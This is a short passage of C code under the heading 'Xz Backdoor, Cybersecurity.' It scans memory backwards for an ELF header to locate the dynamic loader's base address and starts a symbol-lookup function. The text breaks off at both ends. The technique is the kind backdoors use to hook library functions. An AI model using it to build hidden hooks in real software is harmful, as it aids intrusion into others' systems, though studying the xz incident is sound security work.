Xz Backdoor, Cybersecurity.
0x20000; while (memcmp(ld_base_addr, "\x7F""ELF", 4)) { ld_base_addr -= 0x1000; if (ld_base_addr == ld_end_addr) { printf("findLdBase Error.\n"); return (void *)-1; } } printf("success find ld base addr: %p\n", ld_base_addr); return ld_base_addr; } void *findSymAddr(void *addr, const char *symbol,